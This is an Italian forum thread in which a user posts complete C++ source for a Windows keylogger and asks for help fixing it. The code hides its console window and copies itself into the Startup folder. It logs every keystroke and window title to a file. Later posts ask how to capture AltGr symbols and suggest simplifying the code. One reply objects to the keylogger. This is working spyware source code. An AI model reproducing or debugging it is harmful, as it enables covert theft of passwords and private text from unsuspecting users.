|
|||||||
|
|
|
![]() |
|
|
Strumenti |
|
|
#1 |
|
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
[C++] KeyLogger non funziona???
Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!
Questo è il codice: Codice:
/*
KeyLogger v.Beta
Author: R#I
Language: C++
*/
#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>
using namespace std;
void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();
ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log
int main()
{
nasc_sposta(GetEsecAutoDir());
int key;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10); // Per non usare tutta la CPU
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
logga("\n");
logga(titolo_finestra);
logga("\n");
}
strcpy(attuale, titolo_finestra);
// ========================= Titolo Finestra ================
if(GetAsyncKeyState(key)== -32767){
// Tasti F1,F1,F2 ecc
if(key >= 112 and key <= 123){
switch(key){
case 112: logga("[F1]"); break;
case 113: logga("[F2]"); break;
case 114: logga("[F3]"); break;
case 115: logga("[F4]"); break;
case 116: logga("[F5]"); break;
case 117: logga("[F6]"); break;
case 118: logga("[F7]"); break;
case 119: logga("[F8]"); break;
case 120: logga("[F9]"); break;
case 121: logga("[F10]"); break;
case 122: logga("[F11]"); break;
case 123: logga("[F12]"); break;
}
}
// Alfabeto
if(key >= 65 && key <= 90){
if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
logga(key);
}else{
// Se no memorizziamola in minuscolo
key += 32;
logga(key);
}
}
// TASTI numerici
if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift ...
switch(key){
case 48 : logga('='); break;
case 49 : logga('!'); break;
case 50 : logga('"'); break;
case 51 : logga('£'); break;
case 52 : logga('$'); break;
case 53 : logga('%'); break;
case 54 : logga('&'); break;
case 55 : logga('/'); break;
case 56 : logga('('); break;
case 57 : logga(')'); break;
}
}else{
// Se no stampa i numeri
if(key >= 48 && key <= 57)logga(key);
}
if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto Shift ...
switch(key){
case 186 : logga('é'); break;
case 187 : logga('*'); break;
case 188 : logga(';'); break;
case 189 : logga('_'); break;
case 190 : logga(':'); break;
case 191 : logga('§'); break;
case 192 : logga('ç'); break;
case 219 : logga('?'); break;
case 220 : logga('|'); break;
case 221 : logga('^'); break;
case 222 : logga('°'); break;
case 226 : logga('>'); break;
}
}else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128 )&&(GetAsyncKeyState(18)==-127 ||
GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 || GetAsyncKeyState(162)==-128 )&&
(GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
// Se tiene premuto ALT GR
switch(key){
case 101 : logga('€'); break;
case 192 : logga('@'); break;
case 222 : logga('#'); break;
case 187 : logga(']'); break;
case 186 : logga('['); break;
}
}else{
// Se no
switch(key){
case 192 : logga('ò'); break;
case 191 : logga('ù'); break;
case 222 : logga('à'); break;
case 187 : logga('+'); break;
case 186 : logga('è'); break;
case 188 : logga(','); break;
case 190 : logga('.'); break;
case 189 : logga('-'); break;
case 219 : logga('\''); break;
case 221 : logga('ì'); break;
case 226 : logga('<'); break;
case 220 : logga('\\'); break;
}
switch(key){
case 8 : logga("[BACK]"); break;
case 9 : logga("[TABLE]"); break;
case 11: logga("[HOME]"); break;
case 13: logga("[RETURN]"); break;
case 27: logga("[ESC]"); break;
case 32: logga("[SPACE]"); break;
case 33: logga("[PAG SU]"); break;
case 34: logga("[PAG GIU]"); break;
case 35: logga("[END]"); break;
case 36: logga("[HOME]"); break;
case 37: logga("[left]"); break;
case 38: logga("[TOP]"); break;
case 39: logga("[right]"); break;
case 40: logga("[BOTTOM]"); break;
case 44: logga("[STAMP SCREEN]"); break;
case 45: logga("[INS]"); break;
case 46: logga("[CANC]"); break;
case 91: logga("[WINDOWS]"); break;
case 92: logga("[WINDOWS]"); break;
case 96: logga('0'); break;
case 97: logga('1'); break;
case 98: logga('2'); break;
case 99: logga('3'); break;
case 100: logga('4'); break;
case 101: logga('5'); break;
case 102: logga('6'); break;
case 103: logga('7'); break;
case 104: logga('8'); break;
case 105: logga('9'); break;
case 106: logga('*'); break;
case 107: logga('+'); break;
case 109: logga('-'); break;
case 110: logga('.'); break;
case 111: logga('/'); break;
case 144: logga("[BLOC NUM]"); break;
case 145: logga("[BLOC SCORR]"); break;
case 163: logga("[ESC]"); break;
case 255: logga("[SPACE]"); break;
}
}
}
}
return 0;
}
void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica
}
char *GetEsecAutoDir()
{
char disco[255], utente[255], *user_path;
DWORD *a;
user_path = new char[255]; // Alloccazione dinamica
a = new DWORD[255]; // Come sopra
GetSystemDirectory(disco, 254); // Prendo disco rigido in uso
destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
GetUserName(utente, a); // Prendo Nome Utente
strncpy(user_path, disco, 3); //
strcat(user_path, "Documents and Settings\\");
strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto
}
void logga(char carattere) // Loggo caratteri
{
log.open("log.txt", ios::app);
log << carattere;
log.close();
}
void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
log.open("log.txt", ios::app);
log << stringa;
log.close();
}
|
|
|
|
|
|
#2 |
|
Senior Member
Iscritto dal: Feb 2006
Messaggi: 1304
|
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110? Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe. A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger. Ciap |
|
|
|
|
|
#3 |
|
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu! EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio? Ultima modifica di L3n : 27-10-2010 alle 18:50. |
|
|
|
|
|
#4 |
|
Member
Iscritto dal: Jan 2010
Messaggi: 49
|
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
|
|
|
|
|
|
#5 |
|
Senior Member
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
|
Moralista bacchettone.
__________________
-> The Motherfucking Manifesto For Programming, Motherfuckers |
|
|
|
|
|
#6 | |
|
Senior Member
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
|
Quote:
intendi con un ciclo for? Codice:
for i from 96 to 110 case i: logga(char(*codice ASCII progressivo*)) break; end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ... nel we potrei non essere davanti al pc Ultima modifica di d@vid : 27-10-2010 alle 23:08. |
|
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 20:52.




















